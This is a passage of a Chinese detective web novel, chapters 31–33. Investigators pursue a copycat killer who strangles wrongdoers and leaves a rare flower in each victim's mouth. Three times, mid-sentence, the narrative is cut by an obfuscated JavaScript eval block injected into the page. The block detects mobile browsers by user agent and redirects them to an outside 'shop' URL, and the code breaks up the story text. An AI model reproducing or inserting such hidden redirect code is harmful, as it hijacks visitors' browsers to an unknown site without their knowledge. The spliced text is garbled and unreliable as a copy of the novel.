“仵作也是这样推测的。”吴扁点头道,“前天夜里他被杀害,埋在林中,做成了人形花瓶。昨日清早,有人路过林中发现了他,报了官。小师爷前去调查,回来后中午睡了一觉,就发起了高烧,至今未愈。” 吴扁说着说着跑了题。万仙赶紧将话头拉回,问道:“死者的身份可有调查过?” “有的,”吴扁忽然脸上露出愤恨之色,道,“死者名叫卫扶,是个投机倒把的下作之人。” “吴兄何出此言?” 吴扁平复了一下情绪,解释道:“发现卫扶尸体后,我们就叫他的遗孀前来认尸。小师爷撑着身子询问了她几句,就从她口中套出,前夜,卫扶是在深夜离了家。小师爷问她,他深夜为何会出门。那女人立马意识到自己说漏了嘴,开始闪烁其词。小师爷知道这其中必定有问题,于是步步紧逼,誓要问出结果。最后,那女人为了尽早回去,松了口。她说卫扶在倒卖尸体,前夜离家,也是为了去掘墓寻尸。” “倒卖尸体!”王博多惊呼,与万仙面面相觑。 他们在藏乐楼看信时,万仙就曾推测有人买尸犯案!因为人形花瓶案分走了他们全部的注意力,所以那封信和那起案子还未报衙门。这下想起来,王博多赶紧将此事告知吴扁。万仙也将写信之人的姓名和地址一字不落地说给吴扁听。 万仙当时只是匆匆瞥了一眼信件,如今却能巨细靡遗地报出这么多内容,王博多不禁再次感叹起万仙的记忆超群。 而这头,吴扁领了命,说会差人去调查。 万仙嘱咐他:“务必要查查他们前天夜里身在何处。” 吴扁答应下来,又道:“万仙公子,你是觉得,杀害卫扶的人是尸体的买家或卖家?” “有此可能。” “那莫风藤不翼而飞的尸骨又是怎么回事?”王博多问,“难道是卫扶将他的尸骨也挖出来,倒卖了?那卫扶也有可能是莫雨焉杀的!” “哦?”万仙看向王博多。 王博多舔了舔嘴唇,激动地分析道:“或许是卫扶哪日碰巧路过莫风藤的坟,见此坟没有墓碑,就动了倒卖尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102387|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨的念头,掘坟取尸。清明时节,莫雨焉扫墓时发现,阿弟的坟被掘。她多方打听,发现了是卫扶所为。于是她就用莫风藤的方式,报复了卫扶!这就是我们误以为魔再现的缘由!” 王博多的推理确实能自圆其说,解释凶手为什么会模仿作案,但万仙还是摇了摇头。 “你看死者,”他指向卫扶,“他身型高挑,约有六尺,手臂粗壮,生前必定颇有力气。而莫雨焉身型矮小,即便从背后偷袭,恐怕也难以将绳子套到死者脖子上。就算套上了,我也不认为她能抵挡住死者命悬一线时的奋力挣扎。再者,她发现莫风藤的坟被掘时那副震惊的模样,我也并不觉得有演戏的成分。恐怕莫雨焉也是今日才得知莫风藤的坟被掘。” “仙儿哥,你认为凶手应该是个男人?”王博多问道。 万仙点了点头。 吴扁这时插话道:“那会不会是因为卫扶偷了莫风藤的尸骨,导致莫风藤怨灵不散,重返人间将其杀害?” 万仙一时无语,半晌后才开口:“吴兄,还是请你先去调查卫扶倒卖尸体时接触过的买家或卖家吧。当年莫风藤案的受害者亲属,那夜身在何处,也请一并查清。当然,若能再深入调查莫雨焉,就更好了。毕竟,即使她并非亲手杀人,也不能排除她可能买凶杀人。” “没问题,我这就安排兄弟们去查。”吴扁爽快答应。 三人离开殓房时,天色已暗。 吴扁走在前头,万仙和王博多紧随其后。万仙打开折扇,再次扇起风来。其实今日天气并不炎热,他扇扇子,只是希望那一缕凉风能吹散脑海中繁杂的思绪—— 莫风藤的尸骨真的是卫扶挖走的吗?杀死他的凶手又是谁? 即便凶手与卫扶有仇,为何非要模仿莫风藤作案? 当年莫风藤连续杀害数人,如今有人模仿作案,是否只为杀卫扶一人?还是说,还会有其他人将死在他手中,变成人形花瓶? 就在这个念头冒出的瞬间,一名差役急匆匆地冲了进来,寻找吴扁。 “吴兄,出事了!”那差役气喘吁吁地喊道。 走在前头的吴扁停下脚步,忙道:“别急,慢慢说。” 万仙心脏一紧,赶紧跟上前。 那前来报信的差役见到万仙微微一愣,显然不认识他。 吴扁赶紧解释:“这位是知县大人请来的能人,专程来查人形花瓶案的。” 差役闻言,立即转向万仙,急切道:“这位大人,大事不好了!又发现了一具人形花瓶!” 万仙脑海“嗡”的一声。 他担心的事情,终究还是发生了。 31.第三案:魔再现05 今日夜幕刚降就发生了一起命案,万仙也感到震惊。他带着王博多,与衙门的差役们一同赶往案发现场。一路疾行,众人走得额头冒汗。很快,他们就抵达了死者所在的染坊。 染坊门外早已围满了好奇的百姓,他们纷纷伸长脖子向内张望,口中念念有词,议论纷纷。吴扁上前驱散了挤在门外的人群,带着万仙直奔染坊的晾晒区。因为报官者称,死者正是在此处,变成了人形花瓶。 晾晒区挂满了姹紫嫣红的染布。夜风一吹,这些大片布料随风飘扬,仿佛无数鬼影在夜色中游荡。众人无暇顾及这诡异的氛围,撩开布料,朝院落深处走去。 不久,他们便见到院落深处摆放着多个巨大的染缸。其中一个盛满红水的染缸中,浸泡着一具女尸,尸身被水淹没,仅露出头部。死者那一双硕大的眼睛,在圆润的脸上,绝望地瞪着,极为骇人。一朵血红的曼珠沙华在她口中绽放,鲜艳欲滴,美得诡异惊人,与卫扶尸体被发现时嘴里插的花如出一辙。 众人被眼前景象惊得愣住了。唯有万仙率先俯下身子,开始检查尸体。 他发现女尸脖颈上有绳索的勒痕,以及挣扎时指甲刮出的血迹。从这些抓痕和血迹凝固的形态,万仙推断凶手很可能在一个时辰前才将她杀害。 于是,他转身对几名差役低声吩咐了几句,随后问刚来报信的差役:“是谁发现的尸体?” 那差役闻言,立刻去找人,不久便带回来一个名叫小玉的丫鬟。 小玉再次见到主子的尸身,身子仍不由自主地颤抖。万仙连问三次,她才结结巴巴地讲述了事情的经过。 死者苏霓裳是这家染坊的老板。她将染布事业视为毕生追求,平日里勤勉刻苦,总是第一个到坊,最后一个离开。今日也不例外。傍晚时分,工人们都已回家,苏霓裳却仍留在染坊中总结当日事务。 小玉虽是她的丫鬟,却只在府中贴身伺候。今天傍晚,她已与家仆准备好饭菜,等待苏霓裳回家用餐,却迟迟不见她归来。 “莫不是又忙得忘了时间?”小玉心中暗想,再等下去,满桌饭菜就要凉了,于是决定前往染坊叫苏霓裳。 结果来到染坊,就见院落大门虚掩着。她一边叫着“小姐”,一边朝里走,忽然就瞧见了那被浸在染缸中的女尸。一开始她还没反应过来她是谁,待她意识到是苏霓裳后,她便尖叫着跑出了门去。 “我跑出院子后,瘫软在地,还是附近的好心人替我去报的官。”回想起方才的场景,小玉泪眼婆娑,“小姐平日里为人豪爽,待人热情,谁如此心狠手辣,居然杀害她,又这般作践她的身子!” 万仙想到,若女子被害,其丈夫总是嫌疑最大,于是他问小玉:“苏小姐可婚否?” 小玉摇了摇头:“小姐说自己只想好好把这染坊的生意做大,至今未有婚嫁的念头。” “她平日也没有与男子来往过?” “除了做生意外,小姐私下没有同任何男子往来过。”小玉坚定地说。 万仙思索片刻,又道:“那生意场上,可有人与苏小姐发生过不快?” 小玉又摇了摇头:“小姐素向来都是和颜悦色的,从未与人有过冲突。” 小玉言之凿凿,万仙却仍心存疑虑。毕竟,生意场如同战场,勾心斗角在所难免,谁也不敢保证没人对苏霓裳动了坏心思。 “等等!”忽然,一旁的吴扁将目光重新投向苏霓裳的脸,迟疑道,“这苏小姐……” “怎么?”万仙转头看向吴扁。 吴扁似乎想起了什么,说道:“我曾见过这位苏小姐。” “哦?因何缘故?” “因为一起案子。”吴扁转向小玉,问道,“原先苏霓裳的染坊并非开在此处吧?” 小玉眼神闪躲,但自知无法长久逃避,只得点了点头。 吴扁知道自己想得没错,就向万仙讲述了多年前的往事。 苏霓裳原先的染坊位于碎星湖附近的一条小河旁。那条小河也是玉河的一条支流,周边居民常来此打水、钓鱼。然而,不知从何时起,许多居民开始患上怪病,皮肤长疮,头痛欲裂,甚至有人因此丧命。 一时间,瘟疫的谣言四起。衙门迅速派人调查,吴扁正是其中一员。 他们反复查证,发现这些怪病并非人传人的瘟疫所致,而很可能与居民日常饮用的水有关。 恰在此时,有传言称苏霓裳的染坊暗中向河中排放含有毒物的污水,导致河水遭受污染,进而引发周边居民患病。 然而,吴扁等人多方搜寻,却始终未能找到苏霓裳染坊偷排污水的确凿证据,最终只得将已被逮捕的苏霓裳释放。 这一决定令受害者及其亲属愤怒至极。但除了言语上的咒骂,他们无法对苏霓裳施加其他惩罚。案件因此成为悬案,河岸旁生病的居民也只能默默忍受这无处伸冤的苦楚。 后来,或许是难以忍受众人的猜忌与辱骂,苏霓裳将染坊从原址搬离,迁至现址。 “所以你的意思是,说不定是当年污水案的受害者前来报复?”听完吴扁的讲述,王博多问道。 吴扁点点头,随后转向诚惶诚恐的小玉,问道:“你可知道苏霓裳当年是否真的偷排过污水?” “我不知道。”小玉捂着耳朵,剧烈地摇头。 万仙见她这副模样,心知她在撒谎,于是说道:“小玉姑娘,如今你的主子已逝,凶手尚未落网。若他真是因当年的污水案展开报复,恐怕苏霓裳身边的丫鬟、家仆也会受到牵连。你……” 话未说完,小玉已泣不成声。 “都是小姐的错,都是小姐的错,是她指使下人们深夜偷倒污水的。跟我没关系……跟我没关系……” “看来当年苏霓裳骗了我们。”吴扁叹气道,“看来要调查的名单,又要增加一大群人了。” 这时,万仙将目光投向院落大门的方向,道:“也有可能不是受害者的报复。或许是现在染坊周围的某个居民,听闻苏霓裳曾经有过这恶行,担心染坊继续营运会影响他们的健康,所以才将她杀害。” “是有这个可能!”王博多道,“可还是那个问题,凶手为什么要模仿莫风藤作案呢?再者,苏霓裳和卫扶死后嘴里塞的花都是一样的,可见杀他们的凶手应该是同一人。难道凶手既与倒卖尸体案有关,又与染坊排污案有关?” 万仙心中那一丝隐隐的不安再次显现,但他还是难以理清这不安的缘由,只能转头对吴扁道:“那就有劳吴兄和其他兄弟,在调查他们关系时,筛选一下与二人有交集的人员吧。” 吴扁虽答应下来,却也倍感头疼。 现在,他们要调查的人未免也太多了:有当年被莫风藤害死的受害者亲属、有莫雨焉、还有卫扶的买家与卖家、苏霓裳排污案的受害者以及现今染坊周围的居民…… 这其中真有连环凶杀案的真凶吗? 就在吴扁思索之际,刚刚被万仙派遣的差役回来禀告,说他们询问了周围的百姓,一个时辰前,正值晚饭时段,每家每户都在家中吃饭,无人注意到染坊周围是否有可疑人出现。 寻找目击者的这条线索也断了。 当天晚上,万仙凭借知县大人给的令牌,来到衙门存放卷宗的存宗阁内。他寻来莫风藤案的卷宗,端坐于案头,细细翻阅。 王博多坐在他身旁,手托下巴,却难抵困意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107013|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,频频点头。而万仙眼中映照着烛火,目光炯炯有神,仿佛不知疲倦,逐字逐句地看着当年沈松和雾山角留下的记录。 他发现,莫风藤所犯案件,与当前的连环杀人案存在些许差异。 莫风藤作案时,会先在某地提前挖掘一个土坑,随后在附近随意寻找目标进行杀害,将尸体拖至土坑掩埋,仅露出头部,再将随手采摘的应季花朵塞入其口中。沈松遇害后,雾山角也在附近发现了莫风藤事先挖好的土坑。可见他严格遵循自定的作案流程。 再观现今的连环杀人案。第一起案件中,卫扶遇害,手法确实与莫风藤当年相似。然而,第二起案件就变得草率敷衍起来。凶手直接将苏霓裳的尸体置于染缸中,而非埋入预先挖好的土坑。 “凶手既然意在模仿莫风藤作案,为何改变手法?”王博多突然发问。 万仙侧目,瞥了一眼王博多,只见王博多已从瞌睡中苏醒,噙着由困意生成的泪花,翻阅着他刚刚看过的卷宗。 万仙翻过一页笔记,答道:“或许凶手在首次作案时,发现挖土刨坑过于繁琐费力,故而改变了手法。” “那有没有可能……凶手是莫风藤重返人间的遗骨。那遗骨能有多大力气!它发现自己的骨架已支撑不了继续挖土刨坑的重活,所以才将苏霓裳随意塞进染缸。”王博多困得胡言乱语。 万仙脑海里浮现尸骨挖坑的景象,无奈地摇了摇头。 王博多也觉自己荒诞不经,于是不好意思地挠挠头。片刻后,像想起什么,他又小声地问:“仙儿哥,你没打算查查曼陀罗华这条线索吗?” 万仙确实计划明日调查曼陀罗华的线索。毕竟当年莫风藤随手作案,塞入死者口中的花朵各异且常见。而如今这两具“人形花瓶”口中的花朵却都是凌洛城罕见的西域品种,颇为可疑。 他本打算明日与王博多逐一探访城中花铺,但此刻见王博多一脸跃跃欲试,不禁好奇问道:“你知道城中谁家有这种曼陀罗华?” 王博多得意道:“先前我被父亲逼着去自家当铺做学徒,曾见‘花影阁’的老板拿着曼陀罗华来典当。那老板坚称,只有他们家有这种上等曼陀罗华。其他曼陀罗华的花期约为六月至八月,而他们家的品种花期更长,三月即可绽放,且颜色鲜红夺目,美不胜收。但我们‘异宝博多’很少收这类活物,便拒绝了他。” 万仙道:“如今清明刚过,便有如此鲜艳的血红曼陀罗华,恐怕两位死者口中的花朵正是出自那老板之手?” “说不定凶手正是那花影阁的老板!”王博语气坚定地说道,随即又猛地捶拳,改口道,“不对,凶手绝不可能是花影阁的老板。这曼陀罗华如此稀有,竟被用作连环凶案的标识,官府一查,必然会查到花影阁。若花影阁的老板真是凶手,那他也太愚蠢了。显然,是真正的凶手意图栽赃给花影阁的老板,故意这样做的!” “你这话也太武断了些。”万仙道,“万一真凶真是花影阁的老板呢?他知道众人都会同你这般想,所以反其道而行之呢?” “这……”王博多呲了呲牙,又觉得万仙说得不无道理,悻悻闭上了嘴。 没过一会儿,万仙又道:“你为何现在才想起此事?” “我也是刚刚打瞌睡时,偶然梦到这段记忆,才想起来的。”王博多不好意思道。 说着,他的脑海中不由地浮现苏霓裳口中的曼陀罗华。王博多想,那便是我刚刚做梦的诱因吧。 而这头,万仙未再言语。他整理好案牍,示意王博多放回原位,随后离开了存宗阁。 此时,夜已深。 黑暗中,一双眼睛此刻正紧紧盯着他们离去的背影…… 32.第三案:魔再现06 翌日,万仙和王博多来到花影阁时,一位小厮正在店内打理新进的花盆。万仙亮出知县授予的令牌,说明来意,询问老板是否在店内,却见小厮微微一愣。 “客官是衙门的人?可是……你们不是已经派人来找我们叶老板了吗?”小厮指向后院。 王博多率先撩开帘子,走了进去,万仙紧随其后。 花影阁前方是店面,后方则是专门养殖花草的院落。院落中精心培育了数十种盆栽,其中最为引人注目的,便是那色泽鲜艳、娇艳欲滴的曼陀罗华。 此刻,株株饱满的曼陀罗华前,一位留着长须的男子正在给花浇水施肥。此人正是花影阁的老板叶木荒。而叶木荒身旁,一脸冷酷询问他的衙门之人,则是小师爷雾山角。 见他比自己先一步,万仙却不惊讶。因为他早已猜到昨夜,在存宗阁外偷听的便是他。 所以他关切地问道:“雾山兄,你的身子可好些了?” 雾山角并不理会他,他舔了舔干得起皮的嘴唇,继续向叶木荒追问:“你是说五天前,有人偷偷翻进这院子,挖走了三株曼陀罗华?” 叶木荒无奈地点点头,惋惜道:“凌洛城的百姓都知道,花影阁所用的肥料乃是我精心调制的独家秘方。因此,在凌洛城中,我家的曼陀罗华总是开得最早、最为艳丽。我对这些花儿也是珍爱有加。谁知,竟有人翻墙而入,盗走了整整三株!我原本还担心,没有了这秘制肥料的滋养,那三株珍贵的花儿恐怕难以存活超过十天。结果现在,它们竟成了杀人案的标识!简直是暴殄天物,暴殄天物啊!” 看到雾山角用狐疑的目光打量自己,叶木荒顿了顿,急忙道:“小师爷该不会怀疑我是这人形花瓶案的凶手吧!即使是当年的莫风藤,也不可能是我啊!如果我真是凶手,绝不会用如此稀有的花,让你们把嫌疑锁定在我身上!” “万一你正是知道我们会这样想,所以反其道而行之呢?”雾山角眼神犀利,语气冰冷。 叶木荒愣了愣。 万仙脸上掠过一丝不易察觉的微笑,问道:“不知昨日酉时五刻,叶老板身在何处?”那正是染坊老板苏霓裳被害之时。 叶木荒见来人与小师爷相识,便默认他也是官府的人,于是思索片刻,答道:“昨日酉时五刻……我去给祥云堂送盆栽,顺便替我老婆抓了一副药。不信你可以去祥云堂查证,他们当时应该有记账。” 他言之凿凿,不像是在说谎。于是万仙摇着折扇,又问道:“我听闻叶老板之前有拿曼陀罗华去异宝博多典当过?当时可是遇到资金周转上的困难?” 叶木荒一听,随即哀怨道:“都怪那猪八郝!那人从不干正经营生,平日里游手好闲,缺钱时便喜欢四处讹人。一日,他突然捂着头闯进店内,说刚刚途径我家时,我家二楼的盆栽落下,砸得他头破血流,非要让我赔偿他医药费。我赶回家中一看,发现在二楼窗台的盆栽,确实摔了下去。可加上土的花盆,绝不会轻易从窗台摔落,所以我怀疑这猪八郝是故意用竹竿加钩子,把那花盆勾下来的。可我苦于没有人证物证,只得认栽。那时我正承包了一处大园林的花草,店内所有的钱全押在了上面,再难拿出一笔不小的费用赔偿给他。思来想去,我就决定拿我手头的名花去当铺碰碰运气。但当铺鲜少收活物,拒绝了我。好在那大园林的家主听闻我被猪八郝缠上,预付给了我一笔钱,不然我真不知道如何甩了这狗皮膏药。” 万仙不无同情地看了叶木荒一眼。片刻后,他缓缓开口:“叶老板,贵店的账本上是否有售卖曼陀罗华的记录?” “有的。”叶木荒迟疑道,“不过……你们调查的案件的凶手,应该不在购买曼陀罗华的人之中。首先,凶手不至于如此愚钝,在我的账本处,留下身份线索。再者,我记忆中,未曾有人购买两株及以上的曼陀罗华。” “所以,凶手就是那个翻墙入院、盗走三株曼陀罗华的贼人?”王博多问道。 叶木荒点点头。 闻言,雾山角眉头紧蹙,疾步离开了花影阁,直奔祥云堂而去。 万仙明白他是要去查叶木荒的不在场证明,于是赶紧收起自己的扇子,带着王博多追了上去。 祥云堂的灵萱姑娘见到雾山角登门,眼中闪过一丝欣喜,但看到他一身查案时的劲装,不禁担忧道:“小师爷,你昨日病得那么重,今日就痊愈了?可以查案了?” 雾山角没有回答她的问题,直接问道:“昨日酉时五刻,你可曾见过花影阁的老板叶木荒?” 灵萱见他神情冷漠,有些害怕,但还是认真想了想,柔声回答道:“见过的。那时他来送悬丝先生订的盆栽,还在店里让我给他娘子抓了一副药呢。” 她这一回答,坐实了叶木荒并非昨日杀害苏霓裳的凶手。 雾山角脸上掠过一抹失望的神色,随即转身离去。 “欸,小师爷……你不再让悬丝先生给你看看病吗?” “我已无大碍。”雾山角简短回答道。 然而,下一瞬,他却被祥云堂的门槛绊了一脚,一个踉跄差点摔倒。 “雾山兄。”万仙眼疾手快,抓住他的胳膊,稳住了他,“身体最为要紧。” 雾山角一阵尴尬,甩开万仙的手,冷声道:“现在查案才是最要紧的。如今已有两人被害,出现了两株被插在人形花瓶口中的曼陀罗华,而凶手盗走的却共有三株。这说明他很可能会杀三个人!没有叶木荒的秘制肥料,那曼陀罗华活不过十日。所以凶手很可能会在近日再度犯案!难道我要躺在病床上,干等着又有人被做成人形花瓶吗?” “雾山兄……”万仙见他要走,正要追,雾山角却突然停下脚步,折了回来。 他看看万仙,又看看王博多,语气严肃冰冷,道:“我知道知县大人托你们查案,但那是因为前几日我身体抱恙。如今,我身体已愈,你们便无需再继续调查了。这案子既然是冲着我来的,就由我来亲自解决!” 言毕,他带着身上一股无名的火气,迅速迈步离开。 王博多被他言语中的那份冷冰冰惹得不高兴,不由嚷道:“嘿,这大头,跟我们发什么脾气!” 万仙却只是长叹一口气,抬眼看着雾山角如同一只孤冷的黑猫,消失在街角。 之后两天,万仙和王博多都未再见到雾山角。 虽然雾山角说这案子由他一人负责,但万仙既然领了知县大人的令牌,还是得继续追查下去。 是日,他们再次碰到了吴扁。 吴扁前来汇报近日走访调查的结果。 “万仙公子,我们按照你的要求,逮捕了那买尸做局之人,也问询了与卫扶和苏霓裳有关的亲戚朋友、街坊四邻。在两起命案发生时,他们身在何处的回答五花八门,线索可谓是一片混乱。” 他将写着调查结果的卷宗递给万仙。 万仙看浏览着密密麻麻的记录,企图寻到与凶手有关的蛛丝马迹。而王博多则问吴扁:“小师爷呢?” 万仙竖起耳朵,听吴扁答道:“小师爷又独自去巡逻调查了。” “他的身体可痊愈了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111359|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我看他行动还未完全利索,应该还未痊愈。”吴扁说着叹气道,“我本放心不下,想跟他一起出门的,但他勒令我别管此案,活生生将我甩了。哎,他倔起来,就连知县大人都拦不住,我更是拿他没办法。” 这次案件,没有人比雾山角更急,更想要抓住凶手了。但他又对因自己失误害死师父的过往耿耿于怀,害怕牵连到他人,所以比以往更坚持独自查案。 若真能靠自己抓到凶手,或许雾山角会觉得大出了一口气。可是万仙担心,他这般心急地拖着病体查案,反倒会深陷囹圄。 思及此,他握着卷宗的手指不自觉地紧了紧。 这卷宗里点点滴滴的记录在万仙的脑海里盘旋成漩涡,搅动起风浪,又变成一团浆糊,黏得万仙头疼。所以辞别吴扁后,他索性带王博多走上街,扇着他那把白面折扇,瞎逛起来。他想让脑子放松放松,免得像是鬼打墙般,在某个念头上思来想去。 路上,有人认出万仙,凑上前来打听:“万仙公子,你是在查人形花瓶案吧?那莫风藤不是已经死了吗?难道真是他复活作案了?现在整个城里人心惶惶,你可一定要逮住那凶手啊,甭管他是人是鬼!” 万仙一时语塞,不知如何回答,只好连连点头。 王博多见状,赶紧礼貌地同那人结束话题,护着万仙走开。 可那份出自信任的期许,却已然压在了万仙的心头。 言语本身轻如鹅毛,可再轻的鹅毛,累积起来,就是一座让人喘不过气的大山。 万仙能够想象雾山角和沈松当年所面临的压力。 他甚至能够在想象中瞧见多年前雾山角那双疲惫的、泛着红血丝的眼睛。 就在这时,王博多忽然猜测道:“仙儿哥,小师爷说这凶手是冲他来的。会不会是他在平日办案的过程里,得罪了什么人?” “若他真得罪了什么人,凶手不应该对他下手吗?为何要模仿莫风藤犯案,杀了卫扶和苏霓裳?” “说不定凶手是在挑衅小师爷。”王博多思索片刻,惊道,“说不定,小师爷就是下一个受害者!他之所以模仿莫风藤犯案,就是为了刺激小师爷,让他心神不宁,乱了手脚。” 万仙眉头紧蹙,示意王博多继续说下去。 王博多道:“我不得不承认,小师爷手脚功夫了得,旁人难以轻易接近他、伤害他。但心神不宁,甚至生了病的他,可比平日好对付得多。凶手很可能就是为了扰乱他的心智和体魄,好趁虚而入伤害他,才故意犯下前面两起案子。” “是有这种可能!”万仙“啪”的一声,把扇一收,道,“我们先去找他!” 然而他的话音刚落,不远处的小巷突然奔出一名持刀的男人。那人紧握一把小刀,神色慌张地喊着:“不好了,不好了……” 街上行人瞧见他这副惊魂模样,又瞄到他手上闪着寒光的小刀,都吓得闪躲开来。有胆小者,甚至边躲边尖叫起来。 那男人如梦初醒似的盯着自己手上那把一尘不染的刀,愣了一瞬,然后像甩开烫手山芋,将刀丢在了地上。 他茫然四顾片刻,焦急地指着巷子,嚷道:“不好了,又死了,又死人了!” 但街上的人方才目睹他拿刀的模样,都心生芥蒂,一时竟无人敢上去问话。 万仙刚刚还在跟王博多谈论连环凶杀案的下一个受害者可能是雾山角,就听到这惊呼,心脏不免一颤。他赶紧迈开步子,朝那男人所指的方向奔去。 “仙儿哥,等等我!”王博多紧随其后,跟着一路狂奔。 33.第三案:魔再现07 巷子里有一屋舍,屋舍大门敞开,里面一片死寂。 万仙手持折扇挡于胸前,小心翼翼进入其中,一眼就瞧见了尸体。 那尸体体型肥大,倒坐在四方桌前的长凳上,后背抵着桌子,头颅向上仰着,张大了嘴巴。不出所料,他的嘴巴里也塞着一朵绚烂的曼陀罗华。 万仙不认识此人。他和王博多不禁松了一口气。就在这时,门外传来熟悉的脚步声。 二人转过身,发现雾山角正拎着刚刚那个拿刀的男人,气势汹汹地闯了进来。 见到万仙和王博多,他不悦地拧紧眉头。然后,他将那男人丢在地上,径直穿过万仙和王博多,走向那第三具人形花瓶。 “可恶!”他大声一呵,惊得地上的男人浑身一抖。 万仙朝王博多使了个眼色,王博多心领神会地将地上的男人扶起。 另一头,眉头紧锁的雾山角自顾自地检查起尸体。此时,他的额头上已渗出细密的汗珠,带血丝的眼睛深陷在眼窝里,眼下一片青黑。一看就知道最近几日,他未能好好养病。 万仙已来不及再叹气,他转头问那个惊魂未定的男人:“你叫什么?可认识这名死者?” 那男人紧张地咽了咽口水,磕磕绊绊地答道:“我叫丁三旺,死的人叫……叫猪八郝。” “猪八郝?”万仙清楚地记得花影阁的老板曾提起过此人。听说他是个讹诈他人,借机索要钱财的小人。 于是他瞬间猜到丁三旺为何刚刚持刀从巷子里奔出来了。 “丁三旺,你可曾被这猪八郝讹诈?” 丁三旺犹豫片刻,才道:“是我阿妹……猪八郝诬陷我阿妹,说她在路上撞坏了他腰间的玉器。近日,他天天来找我阿妹的麻烦,缠着她要她赔钱。他开价甚高,我阿妹无力偿还,被他扰得日日以泪洗面。猪八郝见她哭,以安慰之名对她上下其手。你不仅如此,他还让她干脆以身还债!我这个做阿哥的也没有什么别的本事,所以……” “所以你刚刚是准备来杀了猪八郝?”万仙问。 “我是想来杀了猪八郝,可是我拿着刀闯进他家后,就发现他已经被人杀害了!”丁三旺颤抖道,“我虽是来杀他的,但瞧见他已被人杀死,我还是受了惊吓,所以才忘了把刀收起来,拿着它就跑到了大街上。大人们,相信我,这人可不是我杀的……”他瞄了一眼猪八郝的尸体,说,“他是被当作了人形花瓶?那……是不是当年的杀人魔重返人间作的祟?” 万仙没有回答他,而是转头问检查完尸体的雾山角:“雾山兄,这次凶手的犯案手法,可与之前的一致?” 雾山角点点头,道:“他一样是被人勒住脖子,窒息而死,而且应该死了不到两个时辰。” 王博多惊讶道:“光天化日,凶手就敢作案,真是胆大包天!” 万仙注意到雾山角的拳头越攥越紧,指节因用力而发白,仿佛随时会挥出一记重拳。他正要说些什么,就见门口渐渐围满了人。他们都是街坊四邻,或是刚刚在街上目睹过丁三旺高喊死人了的人。 其中有胆大的,抻着脖子向里眺望,胆子小的,则只敢交头接耳,议论纷纷。 “这猪八郝终于死了!他这人作恶多端,早该被阎王爷收了去!” “看样子,又是那人形花瓶案的凶手下的手?” “真是可怕,这都死了三个人了,官府的人还没抓到凶手?” “我倒觉得,这凶手是个为名除害的英雄。”有人大胆发言道,“他杀的人,哪个不是恶贯满盈的家伙?” “你还真别说。”有人立马接茬道,“这凶手杀的都是无恶不作的恶棍!听说第一个死的人倒卖死者的尸身。第二个死的,是往河里倒污水的奸商!现在这第三个,更是阴险狡诈的小人!” “这么说来,他还真是在为民除害!希望他在被逮住前,能多杀几个为非作歹的恶人!”有人说着说着,竟一脸兴奋。 万仙和雾山角竖着耳朵,朝人群看去,脸上皆布满愁云…… 当天夜里,凉风渐起,衙门后堂,雾山角屋舍的窗户却大开着。 雾山角倚在窗边,看着远处的弦月出了神,手边那一壶酒,正散发着淡淡的清香。 近些日子,连环凶杀案迟迟未破,他的身子也仿佛被下了咒似的迟迟不见好,做什么都好像提不起劲,比往常慢一步。今日白天也是如此,他就在猪八郝家附近,却无法敏锐地嗅到罪犯的气息…… 思及此,他失意地提起酒壶,正准备往嘴里送酒,就听一个熟悉的、欠扁的声音跳进耳朵。 “小师爷,你现在能喝酒吗?你身体还未好全吧?” 雾山角侧身一瞧,只见王博多不知何时同万仙出现在他的窗前。 他猛一皱眉,道:“谁允许你们深更半夜跑到衙门后堂来的?” 王博多指指万仙手中的令牌,笑而不语。 雾山角一时语塞,欲要关窗谢客,就听万仙道:“雾山兄,你是否早已察觉,这人形花瓶的凶手,是个想惩恶扬善当英雄的家伙?” “那又如何?”雾山角嗫嚅道,“我不还是赌错了……” “赌错了?”王博多疑惑道。 万仙嘴角一扬,对王博多解释道:“小师爷早早猜到有人想当英雄杀人,自然也会猜到凶手很可能会对猪八郝这条恶虫下手。而且白日里,小师爷能在听到街上异动后,快速赶到命案现场,说明他就在猪八郝家附近。可为什么小师爷只是在附近,而非蹲守在猪八郝家,等待凶手出现呢?说明那条街上,还有只恶虫,更为可恶。小师爷赌凶手会对他下手,所以才会‘赌错了’。” 雾山角垂下头,道:“那条街上还有个叫洪老五的人,曾□□过少女。他虽坐过牢,但我以为,那凶手还是会对他下手……” 王博多朝雾山角一挑眉,故作轻松道:“小师爷,不如让我们和你一起查案吧!你多几个帮手,说不定能更快抓到凶手。” 雾山角皱眉道:“你是觉得我一个人抓不到凶手?” 王博多心想这大头怎么如此执拗,嘴上却道:“哪会呀!我就是觉得……人多力量大嘛!是吧,仙儿哥?” 万仙扶着扇子,看着雾山角,点了点头。 雾山角却撇开脸,道:“我早已说过,此案既然是冲我来的,就由我一人解决!” 